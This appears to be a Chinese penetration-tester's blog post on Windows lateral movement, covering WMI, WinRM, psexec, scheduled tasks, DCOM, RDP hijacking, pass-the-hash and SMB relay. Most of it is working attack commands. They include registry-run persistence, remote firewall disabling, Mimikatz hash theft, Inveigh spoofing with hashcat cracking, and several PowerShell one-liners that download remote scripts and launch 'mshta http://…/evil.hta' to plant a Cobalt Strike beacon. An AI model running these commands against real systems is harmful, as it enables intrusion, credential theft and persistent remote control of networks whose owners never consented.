wmic /NODE:"192.168.3.144" /USER:"administrator" /PASSWORD:"xxx" process call create "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"shell\" /t REG_SZ /d \"C:\windows\temp\artifact.exe\" /f"

image-20200824102054065

image-20200824102157796

2、使用wmiexec.vbs利用

​ 直接使用原生的wmic利用有一个缺陷,就是不能获取返回的内容,使用wmiexe.vbs可以获取到执行的结果,其原理就是先将执行后的结果输出到文件中,再与目标建立IPC连接,查看文件的内容,因此这种利用方式不仅需要目标开启135,也需要开启445,否则无法获取执行后的结果。

​ 使用wmiexec.vbs执行命令并获取结果

1
cscript wmiexec.vbs /cmd 192.168.3.144 administrator "xxxx" "query user"

image-20200824103002551

​ 使用wmiexec获取半交互的shell

1
cscript wmiexec.vbs /shell 192.168.3.144 administrator "xxxx"

image-20200824103755336

3、使用impacket套件利用

​ 在windows下,有已经打包成exe的impacket利用套件,当我们仅仅得到hash而没有得到密码时,可以通过wmiexec.exe来进行横向移动。hash的值需要区分大小写,否则会执行失败

1
wmiexec.exe -hashes "xxx:xxx" administrator@192.168.3.144 "query user"

image-20200824111121993

​ 也可以使用wmiexec.exe通过密码进行验证来执行命令

1
wmiexec.exe  administrator:xxx@192.168.3.144 "query user"

image-20200824120039093

​ 也可以获取半交互的shell

1
wmiexec.exe  administrator:xxx@192.168.3.144

image-20200824120200887

4、使用Invoke-WMIExec利用

​ 当只有hash时,也可以通过Invoke-WMIExec来进行横向渗透,不过这种方式无法获取执行后的结果

1
powershell "IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144  -Username administrator -Hash xxx -Command "whoami" -verbose"

image-20200824112842144

​ 如果在cs上执行,需要将powershell的双引号转义一下

1
shell powershell ""IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144  -Username administrator -Hash xxx -Command 'whoami' -verbose""

image-20200824113324458

​ 在目标可以出外网的情况下,可以使用cs生成一个hta文件,再远程加载hta文件达到上线的目的

1
shell powershell ""IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144  -Username administrator -Hash xxx -Command 'mshta http://111.229.70.13:801/evil.hta' -verbose""

image-20200824114313078

image-20200824114350510

​ 我们也可以同时导入Invoke-TheHash.ps1和Invoke-WMIExec.ps1来探测同C段中用户hash是否相同

1
shell powershell ""IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-WMIExec.ps1');IEX (New-Object Net.WebClient).DownloadString('C:\Users\jerry\Desktop\Invoke-TheHash.ps1');Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Username administrator -Hash xxx""

image-20200824115328865

WinRM

什么是winrm?

​ Web服务管理协议(WS-Management,Web Services-Management)是一种基于SOAP协议的DMTF开放标准,用于对服务器等网络设备以及各种Web应用程序进行管理。而WinRM(Windows Remote Management)是Windows对WS-Management的实现,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。

​ winrm服务端工作在5985和5986端口上,winrm以SOAP格式来进行数据交换。

有什么利用条件?

  • 在win2012以上才可以远程主机来管理

  • 防火墙开放对5985和5986端口的连入

    可以在powershell下进行测试

    1
    Test-WsMan 192.168.3.144

    image-20200824141035101

winrm横向移动

1、使用winrm直接横向移动

​ 使用winrm在本地执行命令

1
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"}

image-20200824141727865

​ 使用winrm在远程主机上执行命令

1
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://10.0.83.30:5985 -u:administrator -p:123456

​ 直接使用会存在一个信任问题

image-20200824142530029

​ 可以通过如下命令添加信任

1
2
3
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.3.73"
Set-Item WSMan:localhost\client\trustedhosts -value * 信任任意的远程主机
Get-Item WSMan:\localhost\Client\TrustedHosts

image-20200824143736527

​ 添加信任后,再使用winrm执行命令

1
winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:http://192.168.3.73:5985 -u:administrator -p:xxx

image-20200824144154073

image-20200824144213829

2、使用自带的winrs横向渗透

1
winrs -r:192.168.3.73 -u:administrator -p:xxx "query user"

image-20200824144311792

​ 获取交互shell

1
winrs -r:192.168.3.73 -u:administrator -p:xxx "cmd"

image-20200824145743238

3、使用powershell横向渗透

​ 直接执行命令的方式

1
Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { query user } -credential administrator

image-20200824145045948

image-20200824145027678

​ 获取交互shell

1
Enter-PSSession -ComputerName 192.168.3.73 -Credential administrator

image-20200824145336582

service

​ 因为本地管理员具有创建,重启,修改二进制文件路径的权限,因此可以通过这种方式进行横向移动。

1、psexec横向移动

​ 通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为”PSEXESVC”的二进制文件,然后通过psexec服务运行命令,运行结束后删除服务。

利用说明:

- 使用psexec需要开启admin$共享
- Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹
-  通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接点 X 关闭可能导致目标服务无法删除。如果使用交互式shell执行阻塞的进程可能导出服务不能正常退出。
- Psexec 该工具支持socks代理

无ipc连接情况下

​ 获取反弹shell

1
psexec.exe  \\192.168.3.144 -u administrator -p xxx cmd.exe

image-20200824154405301

​ 执行命令

1
psexec.exe \\192.168.3.144 -u administrator -p xxx cmd.exe "whoami"

image-20200824171320209

有ipc连接情况下

1
2
psexec.exe \\192.168.3.144 cmd.exe
psexec.exe \\192.168.3.144 "whoami"

image-20200824171717205

image-20200824171830308

2、Impacket套件psexec利用

​ 当我们仅仅获取hash,可以通过Impacket的psexec进行利用

1
psexec.exe -hashes :xxxxx ./administrator@192.168.3.144

image-20200824173040617

使用psexec.exe执行文件上线,首先生成service的exe

image-20200824173346403

​ 将exe上传到边界机上,执行如下命令

1
psexec.exe -hashes :xxxxx ./administrator@192.168.3.144  -c c:\xxx\xxx\xxx.exe

image-20200824173708846

3、SCShell横向移动

SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上的服务名称)。
1
SCShell.exe 192.168.3.144 已知的服务名 "C:\windows\system32\calc.exe" . administrastor Password

image-20200825101545936

4、使用SC命令操作服务

1
2
3
4
sc \\xxx.xxx.xxx.xx create test666 binpath="C:\Windows\System32\calc.exe"
sc \\xxx.xxx.xxx.xx query test666
sc \\xxx.xxx.xxx.xx start test666
sc \\xxx.xxx.xxx.xx delete test666

​ 我这里测试遇到了1053错误,找了很多方法都没能解决

image-20200825101901258

​ 经过请教部门的同事,虽然启动服务会爆1053错误,但实际上exe也会正常执行。

image-20200826200332927

​ 但是这里还是还是有一个问题,就是当启动爆出1053错误后,原本执行的exe进行会消失,假如我们执行的这个exe是cs生成的马,那么使用sc执行后会随着报错的出现导致shell掉了吗?

​ 经过测试发现确实会掉,最终确定爆1053的原因是我们执行的exe不是一个正常的service,因此执行会爆1053的错误,使用cs生成一个services类型的马就可以正常执行了,并且不会报错。

image-20200826201410161

计划任务

什么是计划任务?

​ 所谓的计划任务,就是在某个时间去执行某个操作。

有什么利用条件?

  • 有管理员的账号密码
  • net use 可以正常连接
  • windows计划任务服务”Task Scheduler”启动

计划任务横向渗透

在一些比较老的系统比如xp/2003是使用at命令来执行计划任务操作,在2008可以使用at和schtasks执行计划任务。

1、AT计划任务

1
2
3
4
5
6
7
net use \\192.168.3.100\admin$ "xxx" /user:administrator
net time \\192.168.3.100
xcopy C:\Users\jerry\Desktop\artifact.exe \\192.168.3.100\admin$\temp
at \\192.168.3.100 10:54 /every:25 c:\windows\temp\artifact.exe 开始在远程机器上创建计划任务,只在每个月的25号的晚上10点54准时执行指定的 payload
at \\192.168.3.100 查看远程机器上的所有计划任务列表
at \\192.168.3.100 /delete /yes 删除远程机器上的所有计划任务,也可以用指定 id 的方式删除单条计划任务
net use \\192.168.3.100\admin$ /del 用完以后,立即删除该 ipc 连接

image-20200825105332939

image-20200825105719447

2、schtasks计划任务

1
2
3
4
5
6
7
8
net use \\192.168.3.100\admin$ /user:"administrator" "xxxx"
net time \\192.168.3.100
xcopy C:\Users\jerry\Desktop\artifact.exe \\192.168.3.100\admin$\temp\
chcp 437 如果目标是中文系统,最好先调整下字符集,不然会有问题
schtasks /create /s 192.168.3.100 /u "administrator" /p "xxxx" /RL HIGHEST /F /tn "WindowsUpdates666" /tr "c:\windows\temp\artifact.exe" /sc DAILY /mo 1 /ST 11:06 在远程的目标机器上创建计划任务
schtasks /run /tn WindowsUpdates666 /s 192.168.3.100 /U " administrator" /P "xxxx" 创建完以后,远程手动运行
schtasks /query /s 192.168.3.100 /U "administrator" /P "xxxx" | findstr "WindowsUpdates666" 运行完以后,随手检查运行状态
schtasks /delete /F /tn WindowsUpdates /s 192.168.3.100 /U " administrator" /P "xxxx" 一般情况下,在我们拿到远程机器 shell 以后,立即删除远程机器上的计划任务即可

​ 使用schtasks可以手工去启动计划任务,无需等到特定的时间去触发

image-20200825114556769

3、impacket套件atexec

​ 通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。atexec 脚本默认只支持 2008 之后的系统,默认弹回来的是system权限。

1
atexec.exe ./administrator:xxxx@192.168.3.144 "whoami /user"

image-20200825115822194

​ 也可以使用hash来进行认证

1
atexec.exe -hashes :xxxxxxxx ./administrator@192.168.3.144 "whoami /user"

image-20200825120022273

DCOM

什么是DCOM?

​ DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DOCM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。

DCOM的基本应用

​ 获取DCOM的程序列表

1
Get-CimInstance Win32_DCOMApplication

image-20200825133624007

​ Get-CimInstance在powershell3.0以上版本存在,只能在win2012以上才能使用。可以使用下面的命令代替

1
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication

image-20200825134908675

​ 也可以使用WMIC获取

1
wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_DCOMApplication  GET /all /FORMAT:list

image-20200825133744491

使用DCOM在本地执行任意命令

1
2
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")

image-20200825135624138

​ 注意执行上面的命令需要本地以管理员权限运行,否则会出现如下错误

image-20200825141214424

在远程主机上执行任意命令

利用条件:

  • 域环境下使用

  • Client:关闭防火墙

  • Server:获得域主机内置帐户administrator的口令,可net use连接至Client

1、调用MMC20.Application在远程主机上执行命令

1
2
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.3.73"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","")

image-20200825142928339

image-20200825142937085

​ 这种方式我在域环境中复现成功,在非域环境未复现成功,会爆如下错误

image-20200825143624888

2、调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’

1
2
3
4
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.3.73")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

image-20200825160835771

image-20200825160845127

​ 这种方式执行完calc后会直接弹出,而不是在后台执行

3、调用’C08AFD90-F2A1-11D1-8455-00A0C91F3880’

​ 这种方式适合于win2012和win10,不适合win7

1
2
3
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"192.168.3.73")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

image-20200825161330814

image-20200825161345598

远程操作防火墙

1、通过sc命令远程关闭防火墙

1
sc \\192.168.3.73 stop mpssvc

image-20200825162057120

2、远程修改防火墙配置

1
netsh -r 192.168.3.73 -u  rootkit\administrator -p xxx advfirewall firewall add rule name="any" protocol=TCP dir=in localport=any action=allow

image-20200825163734585

1
netsh -r 192.168.3.73  -u rootkit\administrator -p xxx advfirewall firewall Delete rule name="any"  删除规则

image-20200825163854134

使用DCOM进行横向移动

1、使用impacket进行横向移动

1
dcomexec.exe ./administrator:Admin123456@192.168.3.144 "whoami /user"

image-20200825165327715

1
dcomexec.exe -hashes :ae4c0d5fb959fda8f4cb1d14a8376af4 ./administrator@192.168.3.144 "whoami /user"

image-20200825165658575

RDP hijacking

什么是RDP hijacking?

​ RDP劫持可以在我们没有用户密码的情况下获取用户的情况下获取用户的桌面。

有什么利用条件?

  • 获取了当前系统的system权限
  • 通过query user 可以看到多个用户

如何使用RDP劫持?

​ 通过在任务管理器中,我们可以看到当前有两个用户处于活动状态

image-20200825173119488

​ 如果我们想切换到其他用户的会话,右击选择连接,输入密码后即可获取其他用户的rdp桌面

image-20200825173332767

​ 但是当我们具有system权限时,可以无需密码获取其他用户的会话。

image-20200825181732190

​ 当然使用这种方式会把其他正在运行的用户挤下线,对于处于断开状态的用户则没有什么影响。

PTH

什么是PTH?

​ 由于 net-ntlm 在验证的时候,是直接用用户密码 hash 而非明文的方式来验证的,因此仅仅知道hash也可以完成认证过程,拿到用户的hash直接去认证并且获取访问资源的这个过程就叫做PTH。

为什么要使用PTH?

​ 在渗透的过程中,经常会遇到2012及以上的系统,这些系统在默认情况下lsass进程中没有保存明文,只能获取到hash,在解不开密码的情况下,只能通过pth来进行横向渗透。

PTH的利用条件?

  • 445端口可以正常访问
  • 获取目标主机的ntml hash

利用PTH横向渗透

1、通过mimikatz进行PTH利用

​ 在cs中使用mimikatz来进行PTH

1
mimikatz sekurlsa::pth /user:Administrator /domain:. /ntlm:xxxxx /run:"powershell -w hidden"

image-20200826103350172

​ 本来没有权限访问192.168.3.144主机的目录,但是通过令牌替换后,即可访问

1
2
3
steal_token PID
shell dir \\192.168.3.144\c$
rev2self 恢复原始用户权限

image-20200826103511241

2、使用CS进行PTH横向移动

​ 在CS的选项中选择target

image-20200826105348809

​ 对着target右键选择psexec

image-20200826105433978

​ 输入用户账户和hash,点击lauch后即可上线

image-20200826105236740

image-20200826105635042

3、使用powershell进行PTH进行横向移动

​ 首先使用cs生成hta文件,并且将这个hta挂载到web上

image-20200826105959580

​ 执行如下命令通过PTH加载evil.hta上线

1
2
 shell powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxxxxx/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.3.144
-Domain . -Username Administrator -Hash xxxxx -Command \"mshta http://xxx/evil.hta\""

image-20200826110606262

​ 也可以使用smbexec来进行hash传递上线

1
2
shell powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xxxxx/invoke-SMBExec.ps1');Invoke-SMBExec -Target 192.168.3.144
-Domain . -Username Administrator -Hash xxxx -Command \"mshta http://xxxx/evil.hta\" -verbose"

image-20200826112135162

4、使用imapcket套件进行PTH

​ 使用wmiexec进行pth

1
wmiexec.exe -hashes "xxx:xxx" ./Administrator@192.168.3.144 "query user"

​ 在cs下执行会有异常,具体原因不详。

image-20200826113907462

​ 在cmd下执行正常,如果有问题需要改一下cmd的编码chcp 936

image-20200826113949941

​ 使用smbexec进行横向渗透,这种方式只能获取半交互的shell,不能在cs下或者webshell下进行利用

1
smbexec.exe -hashes xx:xxx ./Administrator@192.168.3.144

image-20200826114404627

​ 在windows server 2012R2以上默认无法使用RID非500的用户进行PTH利用。

image-20200826140439030

​ 当我们设置LocalAccountTokenFilterPolicy(默认不存在)这项为1时,则其他用户也可PTH

1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

image-20200826142001554

image-20200826142030450

pass the key

​ 当目标处于域环境并且安装了KB2871997补丁,可以使用这种方法进行横向移动。首先导出aes key

1
mimikatz sekurlsa::ekeys

image-20200826143252802

​ 使用mimikatz进行PTK

1
mimikatz sekurlsa::pth /user:Administrator /domain:xxx.ORG /aes256:xxxx

image-20200826144548650

​ 在dir的时候注意要使用主机名而不是ip。

image-20200826144657435

image-20200826144600749

SMB RELAY

什么是SMB?

​ 服务器消息块(SMB)协议是一种网络文件共享协议,在Microsoft Windows中实现称为Microsoft SMB协议。SMB允许您共享文件,磁盘,目录,打印机等。SMB运行在445端口并且提供了多种功能,例如操作文件,共享,消息传递,IPC等。

什么是net-hash?

​ net-hash是windows hash在网络中传递的一种形式形式,net-hash是由ntml hash计算得来的。

什么是smb relay?

​ 要理解smb relay(中继),关于windows认证过程的了解是绕不过去了,所以有必要先了解windows NTML是怎么认证的。

第一步:Client 将用户名和本机的一些信息发送给 Server

第二步:Server 产生一个16位的 Challenge 发送给 Client,同时本地存储 Challenge

第三步:Client 接收到 Server 的 Challenge 后使用输入的明文密码产生的 NTLM Hash加密 Challenge 产生 Response(也称为Net-NTLM Hash),并将 Response 发送给 Server

第四步:服务端接收到 Response ,使用 SAM 中所存储的对应用户的 NTLM Hash 来加密步骤2所存储的 Challenge ,并将结果与 Response 进行比较。若一致则通过认证。

​ 通过上面的过程我们可以看到,在第三步客户端是使用服务端生成的Challenge和本地的NTLM Hash一起加密产生了net-hash,并将net-hash传递给服务端。如果在NTLM 认证的过程中,有一个第三者作为一个中介,client会以为它是server端并且将net-hash发送给这个第三者,那么这个第三者就可以拿到client的net-hash,替代client与server端进行认证,这个过程无论对于client还是server都是正常的完成ntml认证。但是对于第三者而言,它可以代替client去访问server端的资源。这个过程就叫做smb relay。

怎么发起smb relay?

​ 一般情况下,我们要攻击的主机即使进行ntml认证,流量并不会经过第三者的主机。那么如何让目标主机和我们主机进行ntml认证呢。

1、LLMNR/NBNS欺骗

​ LLMNR和NBNS是Windows系统完成名称解析的一种方法。windows的名称解析规则如下:

  • 首先在本地host文件中进行查询(%windir%\System32\drivers\etc\hosts)
  • 其次在DNS缓存/DNS服务器中进行查询
  • 当上面两种方式未查询到后,则使用LLMNR或者NBNS协议进行解析。

LLMNR工作过程:主机会通过 UDP 向局域网内发送多播查询,查询主机名对应的IP,查询范围被限制在本地子网内。本地子网内每台支持LLMNR的主机在收到这个查询请求后,收到该请求的主机会判断自己的主机名是不是这个查询的主机名。如果是,这台主机会回复自己IP地址给请求该查询的主机;如果不是则丢弃该请求。

​ 因为LLMNR并没有认证相应的主机是否是需要寻找的主机,因此攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。

windows下使用Inveigh针对SMB RELAY利用

​ 首先windows不通版本使用的smb版本是不一样的,具体如下

1
2
3
Smb v1 主要用于 xp/2003 以下的系统中
Smb v2.x 主要用于 win vista/7/2008/2008r2
Smb v3.x 主要用于 win 8 / 8.1 / 2012 / 2012r2 /2016

​ 当目标开启了启 smb 签名后则无法利用,一般windows server会开启而windows单机不开启,打了ms08-068[KB957097]的主机也无法利用。

1
2
Import-Module C:\Users\dbadmin\Desktop\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y -NBNS Y -mDNS Y –LLMNR Y -HTTP Y -PROXY Y

image-20200826161637020

​ 当我们在windows单机上对不存在的主机发起smb请求,即可获取net-hash

image-20200826163902324

image-20200826163718354

​ 抓到net-hash后,可以尝试使用hashcat跑一下

1
hashcat64.exe -a 0 -m 5600 hash.txt top10w.txt

image-20200826165658506

参考文章

内网横向移动:利用WMI来渗透

LateralMovement(横向移动)

域内横向移动二

内网横移之WinRM

横向运动– WinRM

SCShell:横向移动工具

横向渗透之 [SMB]

域渗透——利用DCOM在远程系统执行程序

横向移动之smb中继攻击

Windows认证机制之NTLM

内网渗透研究:LLMNR和NetBIOS欺骗攻击分析